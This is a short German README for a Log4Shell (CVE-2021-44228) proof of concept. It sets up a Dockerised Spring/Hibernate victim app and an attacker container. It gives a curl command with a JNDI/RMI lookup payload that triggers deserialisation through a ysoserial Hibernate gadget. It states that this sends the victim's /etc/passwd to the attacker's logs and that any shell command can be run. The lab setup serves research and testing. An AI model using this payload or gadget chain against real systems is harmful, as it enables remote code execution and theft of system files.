
CVE-2021-44228 POC - Spring / Hibernate
Dieser POC verwendet Spring / Hibernate, jedoch könnte ein ähnlicher Ansatz von rmi -> Deserialisierung verwendet werden, um jede Deserialisierungsschwachstelle auszulösen
$ docker-compose up
$ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '${jndi:rmi://exploit:10000/a}'
Sie sollten den Inhalt der /etc/passwd des Opfers in den Logs des attacker-Containers sehen.
Sie können den Befehl im exploit-Service ersetzen, um jeden Shell-Befehl auf dem Opfer auszuführen.
Das Opfer führt eine standardmäßige Starter-Spring-App mit den Abhängigkeiten "Spring Data JPA" (für Hibernate), "Spring Web" und "H2" (als Datenspeicher) aus. Es wurden lediglich 2 Änderungen vorgenommen:
slf4j-Logger durch den anfälligen log4j-Logger ersetztAlle Abhängigkeiten sind auf dem neuesten Stand. Es sind keine magischen Flags aktiviert.
Das Opfer stellt einen per POST erreichbaren Endpunkt unter / bereit, der die Anfrage protokolliert.
Der Exploit basiert auf einem Fork von ysoserial, der den Hibernate-Exploit-Generator verwendet. Damit der Exploit mit der neuesten Version von Hibernate funktioniert, müssen wir ysoserial neu kompilieren.